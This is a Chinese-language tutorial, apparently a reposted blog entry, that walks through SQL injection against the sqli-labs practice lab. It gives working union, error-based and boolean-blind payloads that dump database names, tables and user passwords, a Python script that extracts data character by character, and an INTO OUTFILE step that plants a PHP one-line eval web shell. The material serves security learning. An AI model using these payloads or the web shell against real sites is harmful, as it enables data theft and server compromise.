sql註入判斷流程(結合sqli-labs學習)

来源:https://www.cnblogs.com/benyuanzhang/archive/2019/06/19/11050836.html
-Advertisement-
Play Games

sql註入判斷流程(結合sqli labs學習) 類型一 1. 類型判斷 ?id=1 and 1=2 + 如果返回結果正常,說明不是數字類型 and 為兩方都為真才算爭取 ?id=1' + 顯示不正常 ?id=1') + 若顯示正常,則該類型為字元註入,且以('')的方式閉合字元串,還有("") + ...


sql註入判斷流程(結合sqli-labs學習)

類型一

  1. 類型判斷
    ?id=1 and 1=2 --+

    如果返回結果正常,說明不是數字類型

    and 為兩方都為真才算爭取

?id=1' --+ 顯示不正常
?id=1') --+ 若顯示正常,則該類型為字元註入,且以('')的方式閉合字元串,還有("")

--+ 是註釋,因為瀏覽器在發送請求的時候會把URL末尾的空格捨去,所以我們用--+代替-- ,原因是+在URL被URL編碼後會變成空格。

  1. 利用order by查看有多少列
    ?id=1 order by 1 --+
    ?id=1 order by 2 --+
    ... 一直到出現 Unknown column '行數' in 'order clause' 為止

    小技巧:可以選擇一個較大的數字來分組

  2. 查詢資料庫名
    ?id=-1' UNION SELECT 1, (SELECT GROUP_CONCAT(SCHEMA_NAME) from information_schema.schemata),3 --+

    id=-1' 是為了後面的內容能夠正確顯示,若前面能直接查詢,後面可能查詢不完整

  3. 通過查詢到的資料庫名查看表名
    ?id= -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='資料庫名') --+

  4. 利用表名爆破列名
    ?id =-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

  5. 整合信息
    ?id=-1' union select 1, (select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

類型二 報錯盲註

  1. 按照類型一無法判斷是否有存在註入
  2. 不管如何註入都顯示報錯信息可嘗試使用三種方式進行註入
  3. floor函數(取整)
    ?id=1' and (select 1 from (select count(),concat(0x7e,database(),0x7e,floor(rand()2)) as a from information_schema.tables group by a)as b)limit 0,1--+

    若返回 Subjectquery returns more than 1 row 可能是因為限制了返回的字元長度
    0x7e 是符號‘~’的十六進位

    限制64位

  4. extractvalue函數
    ?id=1' and extractvalue(1,concat(0x7,(select database()),0x7e)) limit 0,1--+

    select database() 可替換為其他查詢語句
    extractvalue(XML_document, XPath_string);

    返回長度為32個字元長度

  5. updatexml函數
    ?id=1' and updatexml(1,concat(0x3a,(select database())),1) limit 0,1--+

    select database() 可替換為其他查詢語句
    updatexml(XML_document, XPath_string,new_value);

    返回長度為32個字元長度

類型三 導出文件到本地,一句話木馬

  1. 瞭解
    file許可權:資料庫用戶是否有許可權向操作系統寫入和讀取已存在的許可權
    into outfile:伺服器上一個可以寫入文件的文件夾的完整路徑

  2. 將結果保存在本地文件
    ?id=1')) union select 1,2,3 into outfile '有讀取許可權的路徑\文件名.文件類型'; --+

    註意使用''進行轉義,即路徑寫為‘\’
    不會覆蓋已存在的文件名

  3. 嘗試一句話木馬
    ?id=1')) union selet 1,2,'<?php @eval($_post['test']); ?>' into outfile '有讀取許可權的路徑\文件名.php'; --+

  4. 可嘗試使用中國菜刀等軟體

註意MySQL 5.7版本之後into outfile預設是禁用的,需要重新走一下初始化

在ini或者cnf初始化文件中加入初始化設定 secure_file_priv=''

類型四 布爾盲註

  1. 常用函數
    1.1 mid(string,start,length)函數

    string(必需)規定要返回其中一部分的字元串
    start(必需)規定開始位置(起始值為1)
    length(可選)要返回的字元數。如果省略,則mid()函數返回剩餘文本

1.2 substr(string,start,length) 函數

string(必需)規定要返回其中一部分的字元串
start(必需)規定在字元串的何處開始
length(可選)規定被返回字元串的長度

1.3 left(string, length)函數

string(必需)規定要返回其中一部分的字元串
length(可選)規定被返回字元串的前length長度的字元

  1. 判斷資料庫名字長度
    ?id=1' and length(database())=8 --+
  2. 資料庫字元串判斷
    ?id=1' and left(database(),1)='字元串' --+

    資料庫第一個字元串是否等於'字元串'
    資料庫第二個字元串即,left(database(),1)='字元串',一般使用python腳本進行判斷

import requests
import os
 
#此函數先判斷資料庫長度
def length(url,str):
    num = 1
    while True:
        str_num = '%d' %num
        len_url = url + "' and (select length(database()) = " + str_num +")--+"
        response = requests.get(len_url)
        if str in response.text:
            print("資料庫長度為:%s" %str_num)
            content(url,str,num)
            break
        else:
            num = num + 1
 
#此函數判斷字元串具體的內容
def content(url,str,num):
    s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
    con_num = 1
    while con_num <= num:
        str_num = '%d' %con_num
        for i in s:
            con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+"
            response = requests.get(con_url)
            if str in response.text:
                fwrite(i)
        con_num = con_num + 1
#此函數對字元串的內容做記錄並輸出
def fwrite(i):
    # fp = open("cache.txt",'a')
    # fp.write(i)
    # fp.close()
    print(i)
if __name__ == '__main__':
    url = "http://localhost/sqli-labs/Less-5/?id=1"
    response = requests.get(url)
    str = "You are in..........."
    if str in response.text:
        length(url,str)
    else:
        print("請輸入正確的地址")  

類型五 時間盲註

  1. 時間盲註原理
    通過IF來判斷我們輸入是否正確,如果正確立刻返回,如果錯誤則延遲數秒返回。
    網站關閉了錯誤回顯或過濾了關鍵字,網頁只會返回狀態。

  2. 測試

常見錯誤排除

Please input the ID as parameter with numeric value
錯誤排除:可能書寫為?id = 1 ,不要有多餘的空格,應該寫為?id=1

您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 字典 字典又稱為符號表、關聯數組或映射(map),是一種用於保存鍵值對(key value)的數據結構。 那麼 C 語言中有沒有這樣 key value 型的內置數據結構呢? 答案:沒有。 說起鍵值對,是不是想到了 Java 中的 Map?Java中的 Map 實現有兩個:HashMap 和 Tre ...
  • 查詢外鍵欄位信息SET pagesize 1000COL 外鍵擁有者 FOR A20COL 外鍵表 FOR A30COL 外鍵列 FOR A20COL 主鍵擁有者 FOR A20COL 主鍵表 FOR A30COL 主鍵列 FOR A20COL 外鍵名 FOR A30COL 主鍵名 FOR A30 ...
  • 1.查看虛擬機的預設網關和子網掩碼 a.vm菜單欄點擊編輯->虛擬網路編輯器 b.選擇VMnet8,點擊NAT設置,查看子網掩碼、網關IP 2. 修改伺服器的網路配置 a. 修改主機名 hostnamectl set-hostname node01(可選) b. 編輯網卡配置 vi /etc/sys ...
  • 1.-- 查看表結構 DESC 表名; 主要是欄位類型,主鍵,是否允許為空等。 2. 查看表中欄位的結構信息 可以用來查看表中欄位的註釋等,比如 select table_name,column_name,column_comment from information_schema.columns ...
  • 認識資料庫 1 什麼是數據(Data) 描述事物的符號記錄稱為數據,描述事物的符號既可以是數字,也可以是文字、圖片,圖像、聲音、語言等,數據由多種表現形式,它們都可以經過數字化後存入電腦 在電腦中描述一個事物,就需要抽取這一事物的典型特征,組成一條記錄,就相當於文件里的一行內容,如: 單純的一條 ...
  • EXCEL的列:組織id,供應商編號,供應商地點,料號,最小拆分量、採購提前期、最小訂購量、最小包裝量 --採購導入更新MOQ四個值,若有為空的那列,會保留原來的值,不會去更新那列的值 PROCEDURE UPDATE_PO_MOQ AS CURSOR PO_MOQ_CUR IS SELECT ID ...
  • SQL Server目前正日益成為WindowNT操作系統上面最為重要的一種資料庫管理系統,隨著 SQL Server2000的推出,微軟的這種資料庫服務系統真正地實現了在WindowsNT/2000系列操作系統一統天下的局面,在微軟的操作系統上,沒有任何一種資料庫系統能與之抗衡,包括資料庫領域中的 ...
  • 通過天氣,溫度,風速3個特征,建立隨機森林,判斷特征的優先順序結果 天氣 溫度 風速結果(0否,1是)天氣(0晴天,1陰天,2下雨)溫度(0熱,1舒適,2冷)風速(0沒風,1微風,2大風)1 1:0 2:1 3:0結果去打球 1欄位:晴天 2欄位:溫度舒適 3欄位:風速沒風[hadoop@h201 p ...
一周排行
    -Advertisement-
    Play Games
  • 示例項目結構 在 Visual Studio 中創建一個 WinForms 應用程式後,項目結構如下所示: MyWinFormsApp/ │ ├───Properties/ │ └───Settings.settings │ ├───bin/ │ ├───Debug/ │ └───Release/ ...
  • [STAThread] 特性用於需要與 COM 組件交互的應用程式,尤其是依賴單線程模型(如 Windows Forms 應用程式)的組件。在 STA 模式下,線程擁有自己的消息迴圈,這對於處理用戶界面和某些 COM 組件是必要的。 [STAThread] static void Main(stri ...
  • 在WinForm中使用全局異常捕獲處理 在WinForm應用程式中,全局異常捕獲是確保程式穩定性的關鍵。通過在Program類的Main方法中設置全局異常處理,可以有效地捕獲並處理未預見的異常,從而避免程式崩潰。 註冊全局異常事件 [STAThread] static void Main() { / ...
  • 前言 給大家推薦一款開源的 Winform 控制項庫,可以幫助我們開發更加美觀、漂亮的 WinForm 界面。 項目介紹 SunnyUI.NET 是一個基於 .NET Framework 4.0+、.NET 6、.NET 7 和 .NET 8 的 WinForm 開源控制項庫,同時也提供了工具類庫、擴展 ...
  • 說明 該文章是屬於OverallAuth2.0系列文章,每周更新一篇該系列文章(從0到1完成系統開發)。 該系統文章,我會儘量說的非常詳細,做到不管新手、老手都能看懂。 說明:OverallAuth2.0 是一個簡單、易懂、功能強大的許可權+可視化流程管理系統。 有興趣的朋友,請關註我吧(*^▽^*) ...
  • 一、下載安裝 1.下載git 必須先下載並安裝git,再TortoiseGit下載安裝 git安裝參考教程:https://blog.csdn.net/mukes/article/details/115693833 2.TortoiseGit下載與安裝 TortoiseGit,Git客戶端,32/6 ...
  • 前言 在項目開發過程中,理解數據結構和演算法如同掌握蓋房子的秘訣。演算法不僅能幫助我們編寫高效、優質的代碼,還能解決項目中遇到的各種難題。 給大家推薦一個支持C#的開源免費、新手友好的數據結構與演算法入門教程:Hello演算法。 項目介紹 《Hello Algo》是一本開源免費、新手友好的數據結構與演算法入門 ...
  • 1.生成單個Proto.bat內容 @rem Copyright 2016, Google Inc. @rem All rights reserved. @rem @rem Redistribution and use in source and binary forms, with or with ...
  • 一:背景 1. 講故事 前段時間有位朋友找到我,說他的窗體程式在客戶這邊出現了卡死,讓我幫忙看下怎麼回事?dump也生成了,既然有dump了那就上 windbg 分析吧。 二:WinDbg 分析 1. 為什麼會卡死 窗體程式的卡死,入口門檻很低,後續往下分析就不一定了,不管怎麼說先用 !clrsta ...
  • 前言 人工智慧時代,人臉識別技術已成為安全驗證、身份識別和用戶交互的關鍵工具。 給大家推薦一款.NET 開源提供了強大的人臉識別 API,工具不僅易於集成,還具備高效處理能力。 本文將介紹一款如何利用這些API,為我們的項目添加智能識別的亮點。 項目介紹 GitHub 上擁有 1.2k 星標的 C# ...